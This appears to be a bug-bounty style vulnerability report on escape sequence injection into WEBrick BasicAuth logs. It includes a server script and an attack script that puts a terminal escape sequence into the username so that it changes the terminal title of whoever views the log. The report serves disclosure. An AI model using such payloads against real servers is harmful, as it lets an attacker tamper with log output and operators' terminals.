Escape sequence injection vulnerability in WEBrick BasicAuth

How it was found

WEBrick BasicAuth outputs any non-existing user name to logs without sanitizing. By exploting this, an attacker can inject malicious escape sequences to its logs. This issue is exactly the same as the old already-fixed vulnerability.

How to reproduce:

1. Run this WEBrick server program in a terminal.

require "webrick"
require "webrick/httpauth"

srv = WEBrick::HTTPServer.new({ Port: 34567 })
db = WEBrick::HTTPAuth::Htpasswd.new("dot.htpasswd")
authenticator = WEBrick::HTTPAuth::BasicAuth.new(UserDB: db, Realm: "realm")
srv.mount_proc("/") do |req, res|
  authenticator.authenticate(req, res)
  res.body = "foobar"
end
srv.start

2. Run this attack access program in another terminal.

require "open-uri"

open("http://localhost:34567/login",
  http_basic_authentication: [
      "ESCAPE SEQUENCE HERE->\e]2;BOOM!\a<-SEE WINDOW TITLE",
      "passwd"
]).read

3. See the first terminal that runs the server. You will see a line like this, and its window title changed "BOOM!".

[2017-04-24 19:23:46] ERROR Basic realm: ESCAPE SEQUENCE HERE-><-SEE WINDOW TITLE: the user is not allowed.

Note: I'm a member of the ruby-core team, but I'm not involved with development of WEBrick. I did not create the bug, of course. I will happily accept any bounty if any :-)